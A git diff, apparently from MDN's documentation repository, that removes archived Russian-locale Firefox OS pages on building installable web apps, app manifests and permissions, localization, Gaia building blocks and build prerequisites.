Firefox OS comes with Gaia, which forms the entire UI layer of Firefox OS and the default suite of apps that handle the fundamental functions of the phone such as settings, calls, SMS, taking and storing photos, etc.

- -

Mozilla's open web apps are installable on Firefox OS, and other Firefox-supported platforms via Mozilla's web run time technology. For more details, see Open web apps for Android, and Open web apps for Desktop.) In future, the technologies should be standardized and adopted across a wider range of platforms.

- -

Installable app workflow

- -

An installable open web app is very similar to a normal web app or web site — it is built using familiar web technologies like HTML, CSS and JavaScript. The difference is in the additional features the Firefox (OS) platform has available. The following diagram illustrates how those features work together.

- -

- -
    -
  1. Start with a fairly standard web application, built using your favourite toolchain.
  2. -
  3. Identify this as an installable web app by adding a manifest.webapp file to the web app root directory. This defines a number of things about the app such as its name, icons, localization information, and probably most importantly the permissions the app needs to access device APIs such as Camera, Device Storage, Bluetooth and SMS.
  4. -
  5. Create any functionality you require that makes use of special device APIs.
  6. -
  7. Create the assets your app needs, such as the icons.
  8. -
  9. Package and distribute your app. This can be done in a variety of ways, from simple self-published hosted apps (in which case you'd have to write your own install functionality), to packaged apps distributed via the Firefox Marketplace (which handles the install functionality for you.)
  10. -
- -

Recommendations

- -

This section provides recommendations and best practices for creating installable open web apps.

- -

Web app manifest files

- -

Your app's manifest.webapp file should be placed in the root of your app directory, and contain a simple JSON structure, as explained in detail in our App Manifest reference. A simple App Manifest JSON looks like so:

- -
{
-  "name": "My App",
-  "description": "My elevator pitch goes here",
-  "launch_path": "/index.html",
-  "icons": {
-    "512": "/img/icon-512.png",
-    "128": "/img/icon-128.png"
-  },
-  "developer": {
-    "name": "Your name or organization",
-    "url": "http://your-homepage-here.org"
-  },
-  "default_locale": "en"
-}
- -

For simple apps, this is all you'll need, but you may also need other fields, as discussed in appropriate places below.

- -

Functionality, Device APIs, and permissions

- -

One of the main strengths of the Firefox OS platform is the provision of new Web APIs to access key device services like the contacts, and hardware like NFC, Bluetooth and SMS. There are many examples of the different new APIs available along with examples throughout our App Center Build section, but in this section we'll give you some specific pointers towards tasks you might want to accomplish with them. Common task categories include:

- - - -

Different APIs have different levels of security, with some APIs being limited in who can access them. This makes sense — it would be really insecure to just let any app have access to say, a device's SMS and dialer functionality. The different levels are as follows:

- - - -

To request permission to use a restricted API, you have to include a permissions field in your manifest file, and set the type field to privileged in the case of privileged APIs. These fields will look something like this:

- -
"type" : "privileged",
-"permissions": {
-  "contacts": {
-    "description": "Required for autocompletion in the share screen",
-    "access": "readcreate"
-    },
-  "alarms": {
-    "description": "Required to schedule notifications"
-  }
-}
- -
-

Note: You can find out exactly what permissions (if any) each API requires by looking at our App permissions reference; this reference also lists which version of Firefox OS supports each API. To find out what API features are new as of each version of Firefox OS, consult our Firefox OS developer release notes.

-
- -

Using Web activities also requires that you specify their type and required data in the activities field, for example:

- -
"activities": {
-  "share": {
-    "filters": {
-      "type": [ "image/png", "image/gif" ]
-    },
-    "href": "foo.html",
-    "disposition": "window",
-    "returnValue": true
-  }
-}
- -

Lastly, some APIs such as the Alarm and Notification APIs also require you to specify a messages field, which details what kind of system messages are to be captured by the app, and what page(s) will handle them:

- -
"messages": [
-    { "alarm": "/index.html" },
-    { "notification": "/index.html" }
-  ]
- -

Icons and other design best practices

- -

The best practices you would use for creating a Firefox OS app are pretty much the same as those you would use for creating any standard web app, in terms of both coding and design.

- -
    -
  1. You should use responsive design techniques to make sure your app layout will work well on a variety of screen sizes, especially media queries and viewport. Because many devices have high resolution screens these days, this should include use of resolution media queries to optimize for different resolutions.
  2. -
  3. You should take advantage of the building blocks and design patterns we've made available (see our app Design section.)
  4. -
  5. You should also make sure to optimize your code as much as possible so it is more likely to work on low-memory devices, which many Firefox OS devices are (see our Performance topic).
  6. -
  7. For the visual design of Firefox apps, you are free to follow your own path, but you could certainly get some useful pointers from our Firefox OS style guide.
  8. -
  9. For your app icons, you should make sure to include at least a 512x512 icon and a 128x128 icon. Read Icon implementation for Apps for more information.
  10. -
- -

App packaging, installation and distribution

- -

When an App is ready to be distributed, you have a few options of how to publish them:

- - - -
-

Note: Self-published apps don't have the ability to access privileged APIs, for security reasons.

-
- -
-

Note: Another common cause of failure in app installation is incorrect paths in manifests and install code. These paths should be relative to the origin of the server location. So for example, if your example's root is at http://www.mysite.com/myapp/, and your icon is at http://www.mysite.com/myapp/manifest.webapp, the install path would be /myapp/manifest.webapp, not /manifest.webapp.

-
- -
-

Note: Installable open web apps used to have a "single app per origin" security policy, but this was lifted as of Firefox 34/Firefox OS 2.1 (read this FAQ entry for more information). If you still need to support older versions, consider hosting your apps at separate origins; one strategy is to create different subdomains for your apps.

-
- -

Multi-locale apps

- -

You can create multi-locale apps quite easily. This is done by:

- -
    -
  1. Adding special data-l10n-id attributes to each HTML element that requires localization, the value of which should be an identifier for that string. For example:
  2. -
  3. <h1 data-l10n-id="app-title">My app</h1>.
  4. -
  5. Including the l10n.js library in your page using a regular <script> element.
  6. -
  7. Creating a locales folder inside your app directory containing a folder for each separate locale, then placing an app.properties file inside each one containing that language's translations, each one on a new line. For example app-title = Mon application for French.
  8. -
  9. Creating a locales.ini file inside the locales folder, which specifies the default locale and the path to each app.properties file. This will look like so: -
    @import url(en/app.properties)
    -
    -[es]
    -@import url(fr/app.properties)
    -
  10. -
  11. Referencing locales.ini from your HTML file using a <link> element, like so: -
    <link rel="resource" type="application/l10n" href="locales/locales.ini" />
    -
  12. -
  13. Updating your manifest file to include a default locale and locales field containing information about your supported locales: -
    "default_locale": "en",
    -"locales": {
    -  "fr": {
    -    "name" : "Mon application",
    -    "description" : "Mon application description"
    -  }
    -}
    -
  14. -
- -

For more details, begin with our Getting started with app localization article, then check out the rest of our articles about app localization.

- -

Debugging apps

- -

Mozilla provides a number of tools to help you test Firefox OS apps.

- -

Testing on Firefox desktop

- -

The quickest way to test your app's basic functionality is to simply load it in Firefox desktop (open the index.html file in the browser) — this supports most of the features you'll be using to develop your app (with the exception of some of the device APIs.) From here you can use the standard Firefox Toolbox to debug your code, and the Responsive Design View to test responsive/mobile layouts.

- -

Testing in the Firefox OS simulator

- -

You can also test the app in a Firefox OS simulator via our WebIDE tool. This will give you a more realistic idea of how it will look on a real device.

- -
-

Note: Our new WebIDE tool is currently only available in Firefox Nightly, but will be rolled out across all versions soon. It does everything App Manager does and more, including in-app code editing, creation of new apps, and tools like the Monitor, which enables to track performance across an app's lifespan.

-
- -

Testing on a Firefox OS device

- -

Some device APIs — such as the vibration API — can't be tested successfully on a simulator. To fully test this you'll need to get hold of a real Firefox OS device. If you've got one, you can connect it to your computer and install apps contained on your local drive straight onto it via the App Manager/WebIDE.

- -

Logcat

- -

The Android adb logcat tool is very useful for getting debugging output from a Firefox OS device, if you are comfortable with command line tools. For example, you can get info on dying apps using the following:

- -
adb logcat GeckoConsole:* *:F | grep -vE "parsing value|Unknown property|declaration|invalid source| but found |pseudo-"
- -

Supporting cross-Firefox OS versions

- -

Note that when developing apps for Firefox OS, you need to bear in mind what platform versions will be available on the devices your customers will have (see our available phones table for a list.) Remember that it is not as simple to update phone platform software as it is desktop software — users tend to be at the mercy of the network providers. You therefore need to develop apps to support these versions. As an example, multiline Flexbox doesn't work on Firefox OS versions below 1.3, so you may need to use a simpler layout method or provide a fallback for older versions.

- -

This issue should go away soon, as more consumer Firefox OS devices appear, equipped with newer versions of Firefox OS out of the box.

- -
-

The current baseline platform we recommended developing for is Firefox OS 1.1.

-
- -
-

Note: MDN's web platform reference pages include browser/platform support information, plus you can find support information for more App-specific technologies on our Apps API Reference.

-
- -

Examples

- -

You can find many examples throughout the App Center Build section; there are also some examples in our Reference apps section.

- -

Tutorials

- -

Installable app basics

- -
-
Firefox OS app beginners tutorial
-
A complete beginner's guide to creating a Firefox OS app.
-
Packaged apps
-
A packaged app is an Open Web App that has all of its resources contained in a zip file, instead of having its resources on a Web server. In here you'll learn all you need to know about packaged apps.
-
Hosted apps
-
A hosted app is an Open Web App that has all of its resources (HTML, CSS, JavaScript, app manifest and so on) stored on a Web server. This article will tell you all you need to know about hosted apps.
-
Packaged or hosted?
-
Should you make your app hosted or packaged? This article will help you decide.
-
Self-publishing apps
-
This guide explains how to write the code that controls publishing apps, should you wish to write it yourself rather than use the Firefox Marketplace.
-
- -

Advanced topics

- -
-
Icon implementation for apps
-
Implementation specifics for implementing Firefox app icons, including different sizes needed.
-
Updating apps
-
How app updates are handled.
-
- -
-

Reference

- -
-
Firefox OS app tools
-
This page provides a list of useful tools, libraries and examples that are useful for Firefox OS app developers, whether you want an code template to copy, or need help with adding a specific feature to your Firefox OS app.
-
App manifest
-
A detailed guide to Open Web App manifest files, and the different options they can contain.
-
App permissions
-
Access to device APIs is key to creating many useful apps. Here is what's available and how to access them. -
-

Note: you can use the Firefox OS App Generator to automatically generate and install FxOS apps with particular permissions, message-listeners, types, etc.

-
-
-
Firefox OS API support table
-
A list of the different APIs available to Firefox OS, and what support is available for them.
-
App installation and management APIs
-
A reference for the installation and management APIs that control installation and other functions of installable Open Web Apps.
-
Platform-specific details of app installation
-
There are some differences in how apps are installed across the various platforms that support Open Web Apps; this article will help you to understand them.
-
CSP for open web apps
-
Unlike traditional web sites, privileged and certified apps enforce a CSP (content security policy) by default. This may cause quite a bit of existing code to break while porting and cause a significant amount of confusion if developers are unaware that the CSP exists. This article explains what the restrictions imposed by the open web app CSP are.
-
- -

FAQ

- -
-
App manifests FAQ
-
Manifest frequently asked questions.
-
-
- -
-
 
-
diff --git "a/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/\320\274\320\260\320\275\320\270\321\204\320\265\321\201\321\202/index.html" "b/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/\320\274\320\260\320\275\320\270\321\204\320\265\321\201\321\202/index.html" deleted file mode 100644 index 710f070384..0000000000 --- "a/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/\320\274\320\260\320\275\320\270\321\204\320\265\321\201\321\202/index.html" +++ /dev/null @@ -1,264 +0,0 @@ ---- -title: Манифест приложения -slug: Archive/B2G_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS/Манифест -translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS/Manifest ---- - - -
-

Нестандартно: Эта функция отсутствует в текущей версии стандартов W3C, но поддерживается на платформе Firefox OS. Хотя реализации могут измениться в будущем и не будут широко поддерживаться в разных браузерах, они подходят для использования в коде, предназначенном для приложений Firefox OS.

-
- -
-

Важно: Этот документ относится к формату манифеста Firefox OS, а не к спецификации манифеста W3C, разработанной для кросс-браузерных прогрессивных веб-приложений.

-
- -
-

Манифест приложения Firefox OS предоставляет информацию о приложении (например, имя, автора, значок и описание) в виде простого документа, который может использоваться как пользователями, так и магазинами приложений. Самое главное, он содержит список веб-API, которые нужны вашему приложению. Это позволяет пользователям принимать обоснованные решения о приложениях перед их установкой. Это одна из ключевых вещей, которая отличает приложение Firefox OS от веб-сайта.

-
- -
-

Примечание: Браузеры, которые обрабатывают манифесты и позволяют устанавливать приложения Firefox OS, включают веб-среду выполнения. Это включает в себя ОС Firefox и более новые версии Firefox для Android и Firefox для настольных компьютеров.

-
- -
-

Примечание: Вы можете найти информацию о манефесте на MANIFEST FAQ

-
- -

В этом разделе подробно описываются критически важные детали, необходимые для создания и использования манифеста приложения.

- -

Условные обозначения: имя файла, местоположение и формат

- - - -

Обработка пути

- - - -

Требования для публикации в Firefox Marketplace

- -

Если вы захотите опубликовать свое приложение, то в вашем манифесте должно присутвовать:

- - - -

Требования к общим открытым веб-приложениям

- -

Если вы создаете общее размещенное приложение, которое не будет опубликовано в Firefox Marketplace, ваш манифест приложения должен содержать следующие поля:

- - - -
-

Примечание: Чтобы самостоятельно публиковать приложение со страницы, которой вы управляете, необходимо предоставить пользователям механизм запуска установки приложения. Обычно это делается путем вызова navigator.Apps.install () при нажатии кнопки в случае размещенного приложения или navigator.Apps.installPackage () в случае упакованного приложения.

-
- -

Если вы отправляете в Firefox Marketplace, манифест вашего приложения должен пройти проверку Marketplace.

- -

Попробуйте наш App Validator, который поможет вам выявить любые ошибки. Или вы можете использовать этот API для проверки манифеста вашего приложения.

- -

Пример манифеста

- -

Ниже приведен минимальный манифест. Вы можете скопировать его в текстовый файл и заменить значения своей собственной информацией.

- -
{
-  "name": "My App",
-  "description": "My elevator pitch goes here",
-  "launch_path": "/index.html",
-  "icons": {
-    "512": "/img/icon-512.png",
-    "128": "/img/icon-128.png"
-  },
-  "developer": {
-    "name": "Your name or organization",
-    "url": "http://your-homepage-here.org"
-  },
-  "default_locale": "en",
-  "chrome": { "navigation": true }
-}
- -

Обязательные поля манифеста приложения

- -

Поля в вашем манифесте могут быть в любом порядке. Поля в манифесте, кроме перечисленных ниже, будут игнорироваться.

- -

name

- -
-

Примечание: Обязательно

-
- -
"name": "The Open Web!"
- -

description

- -
-

Примечание: Обязательно

-
- -
"description": "Exciting Open Web App!"
- -

launch_path

- -
-

Примечание: Обязательно

-
- -
"launch_path": "/index.html"
- -

icons

- -
"icons": {
-  "128": "/img/icon-1.png",
-  "512": "/img/icon-2.jpg"
-}
-
- -

developer

- - - -
"developer": {
-    "name": "The Open Web!",
-    "url": "http://www.mywebapp.com"
-}
- -

default_locale

- -
"default_locale": "en"
- -

type

- - - -
"type": "certified"
-
- -

chrome

- -

Настройка панели навигации

- -

chrome navigation

- -
"chrome": { "navigation": true }
- -

fullscreen

- -

Показывать приложение в полный экран

- -
"fullscreen": "true"
- -

inputs

- -

Обозначение языков ввода в приложении-клавиатуре

- -
"inputs": {
-   "en": {
-     "launch_path": "/index.html#en",
-     "name": "English",
-     "description": "English layout",
-     "types": ["url", "text"],
-     "locales": {
-       "en-US": {
-         "name": "English",
-         "description": "English layout"
-       },
-       "zh-TW": {
-         "name": "英文",
-         "description": "英文鍵盤"
-       }
-     }
-   },
-   "en-Dvorak": {
-     "launch_path": "/index.html#en-Dvorak",
-     "name": "English (Dvorak)",
-     "description": "Dvorak layout",
-     "types": ["url", "text"]
-   },
-   "es": {
-     "launch_path": "/index.html#es",
-     "name": "Spanish",
-     "description": "Spanish layout",
-     "types": ["url", "text"]
-   },
-
-  ...
-
-}
-
- -

orientation

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
valueApp will stay locked to
portrait-primaryPhone upright in portrait orientation
portrait-secondaryPhone upsidedown in portrait orientation
portrait
- If you declare this, there's no need to write
- -primary or -secondary
Phone upright in portrait orientationPhone upsidedown in portrait orientation
landscape-primaryPhone lying on its left hand side in landscape orientation
landscape-secondaryPhone lying on its right hand side in landscape orientation
landscape
- If you declare this, there's no need to write
- -primary or -secondary
-

Phone lying on its left hand side in landscape orientation

- -

Phone lying on its right hand side in landscape orientation

-
- -
"orientation": [ "landscape-primary" ]
- -

origin

- -
"origin": "app://mywebapp.com"
-
diff --git a/files/ru/archive/b2g_os/firefox_os_apps/building_blocks/index.html b/files/ru/archive/b2g_os/firefox_os_apps/building_blocks/index.html deleted file mode 100644 index 26876bbab8..0000000000 --- a/files/ru/archive/b2g_os/firefox_os_apps/building_blocks/index.html +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: Firefox OS Building Blocks -slug: Archive/B2G_OS/Firefox_OS_apps/Building_blocks -translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks ---- - - -
-

The Firefox OS Building Blocks are reusable UI components (also called 'common controls') that reflect OS-wide design patterns. Building Blocks are used to create the interfaces of all Gaia default apps. You are free to make use of these components in your own Firefox OS apps, or general Web apps.

-
- -

Using the Firefox OS Building Blocks

- -

The code for the Firefox OS Building Blocks can be found in the Gaia Github repo under shared/style. Here, you can find a CSS file that contains the CSS for that particular Building Block, and a sub directory containing the HTML fragments and image assets. If you are creating your own standalone Web app, you can simply copy the CSS, HTML and image asset files across into your own project; if your app is intended to be installed on Firefox OS only (or you want to use these features only when the app is being used on Firefox OS), then you can link to the versions available inside Gaia.

- -

The pages for the individual Building Block implementations can be found under the pages for each building block — see next section. These contain instructions on how to implement each one.

- -
-

Note: The version 2.0 building block code is used in Firefox OS releases 2.0 through 2.2. Version 2.3 sees an update, with the building blocks being reimplemented using Web components — these provide the same functionality, but implemented in a much more powerful, flexible way. You'll see 2.3 pages appear underneath the main building block pages covering these Web components as soon as the information is available.

-
- -
-

Note: We also have an old guide covering the v1.x building blocks used in older versions of Firefox OS. This is mainly for legacy information.

-
- -

Web components preliminary setup

- -

This section details the preliminary setup needed to use Gaia Web components.

- -

Web components browser support

- -

To use Gaia Web components at all, you need to run them using a browser that supports Web components. The state of support is as follows:

- - - -

Web components are supported in Firefox OS from v2.1 onwards, although most of them weren't actually implemented until v2.3. Be aware also that currently Web components won't work for Firefox OS apps below internal (certified) level. This restriction should be lessened in the future.

- -
-

Note: If your app is certified, the components will just work. You don't need to set a specific manifest permission.

-
- -

Web components installation notes

- -

Gaia Web components are installed in your app using the Bower package manager. To install this, you first need Node.js/npm and Git installed. Once they are installed you can install Bower with

- -
npm install -g bower
- -

At this point you could also install the Gaia Fira Sans font that Firefox OS uses in your app , with the following command:

- -
bower install gaia-components/gaia-fonts
- -

You can then make use of the font by including the following in your head (along with a font-family of FiraSans):

- -
<link rel="stylesheet" type="text/css" href="bower_components/gaia-fonts/style.css"></link>
- -

Firefox OS Building Blocks

- -
-
-
-
Action menu
-
An action menu presents a list of actions, related to the app's content, from which the user may make a selection.
-
Banners
-
Banners (Status, in older versions of Firefox OS) provide information to the user in a transitory fashion, typically to confirm an action or to alert the user to a system event.
-
Buttons
-
Buttons are used to perform explicit actions. Buttons may be text or images.
-
Context menu
-
Accessed via a tap and hold gesture (sometimes called a long press), the Context Menu (called the Object Menu in older versions of Firefox OS) allows users to perform actions on objects without having to leave their current view.
-
Dialog
-
A Dialog (Confirm, in older versions of Firefox OS) provides the user with some important information, asks the user to take or confirm an action, or allows the user to make a choice or enter some information.
-
Drawer
-
The drawer is a scalable way for users to navigate between views or filter views. The drawer can also include links to app settings or other tools.
-
Header
-
A header is a dedicated space at the top of the screen, most often used to display the view title. It can also include navigation, action buttons and other controls.
-
Input area
-
An input area is a data entry field, and can be as simple as a text only entry field, or as complex as a multipart entry field with text entry, value selections, and buttons.
-
Layout
-
The Layout utility will help you to create common layout structures for your Firefox OS apps. Note that Layout is only available in Firefox OS 2.1 and above.
-
List items
-
List items are typically used to navigate to a new screen, or to display information or controls.
-
-
- -
-
-
Picker
-
The Picker is designed to select a group of items as attachments for messaging and email.
-
Progress and activity
-
Progress and activity indicators provide the user with visual feedback that a process (such as a resource loading) is active.
-
Scrolling
-
Scrolling areas allow the user to move text and/or images across the device's display.
-
Search
-
Search is used to filter a list or find context-specific content.
-
Slider
-
A Slider (which was called Seekbar in older Firefox OS versions) is used to select a value from a continuous or discrete range of values by dragging the handle.
-
Select mode
-
Select Mode (which was called Edit Mode in older Firefox OS versions) is designed to select and perform actions on items.
-
Subheader
-
Subheaders are used to describe a subsection of content.
-
Switches
-
Switches (such as checkboxes, etc.) allow users to activate and deactivate items. Switches are also used to select items within a list.
-
Tab/Filter
-
A Tab/Filter gives the user a way to easily switch between views or to filter a set of data.
-
Toolbars
-
Toolbars contain actions, indicators and navigation elements associated with the current view.
-
Value selector
-
Value Selectors let the user choose from among a list of possible values.
-
-
-
- -
-

Note: For a detailed guide to the design pattern followed by the building blocks when the Arabic locale (bidirectional) is selected, read Firefox OS in Arabic.

-
- -

Cross browser CSS

- -

Arnau March wrote a CSS file called cross browser CSS, containing rules to allow Firefox 2.0 building blocks to render properly across different browsers (ie 9, Firefox 18, Chrome 24, Safari 5.1.) If you want to write hosted apps that look ok across different browsers, include this CSS in your project.

- -

Browse Firefox OS Building Block implementations by version

- -

The pages below list links to pages covering the Firefox OS Building Block implementations as they appear in different versions of Firefox OS.

- - diff --git a/files/ru/archive/b2g_os/firefox_os_apps/index.html b/files/ru/archive/b2g_os/firefox_os_apps/index.html deleted file mode 100644 index 370236dd14..0000000000 --- a/files/ru/archive/b2g_os/firefox_os_apps/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Firefox OS apps -slug: Archive/B2G_OS/Firefox_OS_apps -tags: - - Apps - - Building - - Components - - Firefox OS - - Installing - - NeedsTranslation - - TopicStub - - device APIs -translation_of: Archive/B2G_OS/Firefox_OS_apps ---- -

This section of the Firefox OS docs covers the specific techniques required — and available tools — for building Firefox OS apps. You'll find a number of details below, from Firefox OS building blocks/web components, to device APIs and App installation.

- -

Building Firefox OS apps

- -
-
Building apps for Firefox OS
-
Firefox OS/Firefox platform app specifics, including App installation and management APIs, manifest files, packaged and hosted apps, handling API permissions.
-
Localization
-
This set of articles provides information for developers wishing to provide localized versions of their apps.
-
Performance
-
This page lists performance-related topics specific to Firefox OS.
-
Firefox Accounts on Firefox OS
-
This article provides an overview of using Firefox Accounts in Firefox OS.
-
Reference apps
-
This page lists a number of sample apps we've put together for you to download, install, play with and learn from. Have fun!
-
Screencast series: App Basics for Firefox OS
-
In this collection of short videos, developers from Mozilla and Telenor explain in a few steps how you can get started with building applications for Firefox OS.
-
- -

Building blocks

- -
-
Building Blocks
-
The Firefox OS Building Blocks are reusable UI components (also called 'common controls') that reflect OS-wide design patterns. Building Blocks are used to create the interfaces of all Gaia default apps. You are free to make use of these components in your own Firefox OS apps, or general Web apps.
-
- -

Styleguides

- -
-
Firefox OS Visual styleguide
-
Our style guide for Firefox OS visual design, covering colours, typeface, backgrounds, app icons, and the design of specific UI elements.
-
Firefox OS Copy styleguide
-
This guide outlines the rules we follow for writing Firefox OS app copy, but can be used as a general guide to writing good copy for any app interfaces.
-
Firefox OS in Arabic
-
A guide to the specific UX design implementation Firefox OS has in place for dealing with Arabic (and other RTL languages.)
-
- -

Assets

- -
-
Firefox OS design asset library
-
In this section you'll find design assets, artwork, graphic templates, fonts and other materials that will be helpful as you design Firefox OS/Gaia apps.
-
Firefox OS icon font
-
Firefox OS has its own icon font set available: this article explains how to use it in your own apps.
-
Firefox OS transitions
-
A reference to some of the transitions used in Firefox OS to move between different states in apps, including animated GIFs demonstrating the animations used, plus code samples to show the CSS animation code needed to implement these animations.
-
- -

References

- -
-
Firefox OS device APIs
-
This article provides a list of pages covering those APIs, as well as the app manifest permissions for each one.
-
Firefox OS app tools
-
This page provides a list of useful tools, libraries, examples, etc. that are useful for Firefox OS app developers, whether you want a code template to copy, or need help with adding a specific feature to your Firefox OS app.
-
- -

Other app topics

- -
-
Porting Chrome apps to Firefox OS Apps
-
This article discusses the differences between Chrome apps and Firefox OS Apps, and how you can convert between the two.
-
App development FAQ
-
This FAQ is a compilation of answers to common app development questions.
-
- -

See also

- - diff --git a/files/ru/archive/b2g_os/firefox_os_apps/localization/developing_bidi_apps/index.html b/files/ru/archive/b2g_os/firefox_os_apps/localization/developing_bidi_apps/index.html deleted file mode 100644 index cc6a25c61d..0000000000 --- a/files/ru/archive/b2g_os/firefox_os_apps/localization/developing_bidi_apps/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Разработка Bidi приложений -slug: Archive/B2G_OS/Firefox_OS_apps/Localization/Developing_Bidi_Apps -tags: - - Apps - - BiDi - - CSS - - Localization - - Локализация - - Приложения -translation_of: Archive/B2G_OS/Firefox_OS_apps/Localization/Developing_Bidi_Apps ---- -

В этом документе перечислены некоторые шаблоны и лучшие практики по созданию BiDi приложений (двунаправленный (bidirectional) - слева направо и справа налево).

- -

Направление документа

- -
<html dir="rtl">
- -

Если вы используете navigator.mozL10n из библиотеки локализации Gaia, тогда атрибут dir устанавливается автоматически в зависимости от текущего языка, в соответствии с предпочтениями пользователя.

- -

Направление текста

- -
p {
-    text-align: left; /* отступление для старых браузеров */
-    text-align: start;
-}
-
-html[dir=rtl] p {
-    text-align: right; /*
-}
- -
.endAligned {
-    text-align: right; /* отступление для старых браузеров */
-    text-align: end;
-}
-
-html[dir=rtl] .endAligned {
-    text-align: left; /*
-}
- -

Модель области элемента

- -

Атрибуты margins, paddings и borders необходимо задавать.

- -
.box {
-    margin-left: 20px;
-}
-
-html[dir=rtl] .box {
-    margin-left: 0;
-    margin-right: 20px;
-}
-
- -

В браузерах Firefox и Webkit вы также можете использовать экспериментальные атрибуты margin-start, margin-end, padding-start, padding-end, border-start и border-end.

- -

Позиционирование

- -

Плавающие (floats), clear и абсолютные (absolute) координаты необходимо задавать.

- -
.nav {
-    float: right;
-}
-
-html[dir=rtl] .nav {
-    float: left;
-}
- -
#clippy {
-    position: absolute;
-    bottom: 20px;
-    right: 20px;
-}
-
-html[dir=rtl] #clippy {
-    right: auto;
-    left: 20px;
-}
- -

 

diff --git a/files/ru/archive/b2g_os/firefox_os_apps/localization/index.html b/files/ru/archive/b2g_os/firefox_os_apps/localization/index.html deleted file mode 100644 index 26cc4224f4..0000000000 --- a/files/ru/archive/b2g_os/firefox_os_apps/localization/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: App localization -slug: Archive/B2G_OS/Firefox_OS_apps/Localization -tags: - - Apps - - B2G - - Firefox OS - - Gaia - - L10n.js - - Localization - - NeedsTranslation - - TopicStub -translation_of: Archive/B2G_OS/Firefox_OS_apps/Localization ---- -

- -
-

This set of articles provides information for developers wishing to provide localized versions of their apps.

-
- -

Tutorials

- -
-
Getting started with app localization
-
This tutorial provides a detailed guide to app localization.
-
Connecting developers and translators with Transifex
-
This article explores the use of Transifex for managing translation work, both for app developers and localizers.
-
- -

Reference

- -
-
L10n.js reference
-
This article provides a reference for the l10n.js library, and its associated date helper, l10n_date.js.
-
Internationalization helpers: IntlHelper and mozIntl
-
This article looks at how Firefox OS handles localization of dates, times, numbers and collators from version 2.5 onwards, using the Internationalization API and Gaia's built in helpers, IntlHelper and mozIntl.
-
App localization code best practices
-
Localization best practices and advanced techniques for experienced Gaia/app developers.
-
Developing Bidi Apps
-
Best coding practices and guidelines for developing bi-directional (left-to-right and right-to-left, RTL) apps.
-
- -

Tools

- -
-
Translation tester
-
This app is for testing translations for Firefox OS apps and provides a blueprint for adding translation support to your own apps.
-
diff --git a/files/ru/archive/b2g_os/firefox_os_build_prerequisites/index.html b/files/ru/archive/b2g_os/firefox_os_build_prerequisites/index.html deleted file mode 100644 index ec523c3b98..0000000000 --- a/files/ru/archive/b2g_os/firefox_os_build_prerequisites/index.html +++ /dev/null @@ -1,258 +0,0 @@ ---- -title: 'Прежде, чем собрать Firefox OS' -slug: Archive/B2G_OS/Firefox_OS_build_prerequisites -translation_of: Archive/B2G_OS/B2G_OS_build_prerequisites ---- -

Перед получением исходного кода для сборки Firefox OS, Вам понадобится правильно сконфигурированная система сборки. В настоящее время поддерживается сборка на 64-битных дистрибутивах Linux и на Mac OS X.

-

Приобретите совместимое устройство либо используйте эмулятор

-

Хотя мы поддерживаем несколько различных типов мобильных устройств, некоторые из них выпускаются в различных модификациях. В настоящее время мы поддерживаем лишь отдельные модификации, поэтому некоторые устройства будут обеспечивать лучшую совместимость по сравнению с другими:

-

Первая очередь (Tier 1)

-

Устройства первой очереди - наша основная целевая платформа и они, как правило, будут первыми получать багфиксы и обновления функционала.

-
-
- Keon
-
- Keon - это устройство Geeksphone Keon, одно из первых мобильных устройств для компьютерных фанатов (гиков). Обратите внимание, что сборки для этих устройств предоставляются Geeksphone.
-
- Inari
-
- Inari  - ещё одно тестовое устройство.
-
- Unagi
-
- Unagi - это мобильные устройства, используемые в качестве тестовой платформы при разработке смартфонов нижней и средней ценовой категории. Многие основные разработчики Firefox OS работают с Unagi.
-
- Otoro
-
- Otoro - это мобильные устройства, используемые в качестве тестовой платформы при разработке смартфонов нижней и средней ценовой категории. Многие основные разработчики Firefox OS работают с Otoro.
-
- Pandaboard
-
- Pandaboard - это development board на базе архитектуры OMAP 4, используемая для разработки под мобильные платформы.
-
- Эмулятор (ARM и x86)
-
- Доступны два типа эмуляторов: один для эмуляции ARM и второй для x86.
-
- Desktop
-
- Вы также можете собрать десктопную версию Firefox OS; она запускает Gecko в приложении XULRunner, после чего Вы можете внутри него пользоваться опытом работы с Gaia.
-
-

Вы всегда можете, конечно же, собрать десктопный клиент или один из эмуляторов, не имея вообще никакого мобильного устройства.

-

Вторая очередь (Tier 2)

-

Устройства второй очереди обладают необходимой функциональностью и многие разработчики (особенно разработчики прикладных приложений) используют их, таким образом, устройства из этого ряда будут получать обновления вторыми по очереди.

-
-
- Samsung Nexus S
-
- Гарантированно поддерживаемыми моделями устройств Nexus S являются модели GT-I9020A и GT-I9023 (другие модели тоже могут работать).
-
- Samsung Nexus S 4G
-
- SPH-D720 поддерживается как устройство второй очереди.
-
-

Третья очередь (Tier 3)

-

Firefox OS может быть собрана для этих устройств, но они не относятся к числу целевых платформ для основных разработчиков. Они могут существенно отличаться в меньшую сторону в плане надёжности и функционала от устройств первой и второй очередей.

-
-
- Samsung Galaxy S2
-
- Единственная поддерживаемая модель - i9100; никакие другие официально не совместимы (i9100P может работать, поскольку его единственное отличие заключается в дополнительном NFC чипе).
-
- Samsung Galaxy Nexus
-
- В настоящее время нам не известно о какой-либо несовместимости данных устройств с Firefox OS.
-
- Tara
-
- Tara - ещё одно тестовое устройство. Manifest для Tara лежит только в бранче master. Скрипт для получения Tara-кода: "BRANCH=master ./config.sh tara".
-
-
- Важно: Поддерживаются только устройства с как минимум Android 4 (aka Ice Cream Sandwich). Если Ваше устройство находится в одном из списков выше, но снабжено более старой версией ОС Android, пожалуйста, предварительно обновите ОС.
-
-

У устройств очереди 2 и 3 отсутствует кнопка Home

-

У всех устройств первой очереди есть хардварная кнопка Home, возвращающая пользователя на стартовый экран. Большинство современных ICS Android-устройств для навигации используют экранные тач-кнопки. При отсутствии кнопки Home Вы не сможете выйти из некоторых приложений, например, их приложения для работы с камерой. Это делает Firefox OS неподходящей для повседневного использования на таких устройствах.

-
-

Системные требования для Linux

-

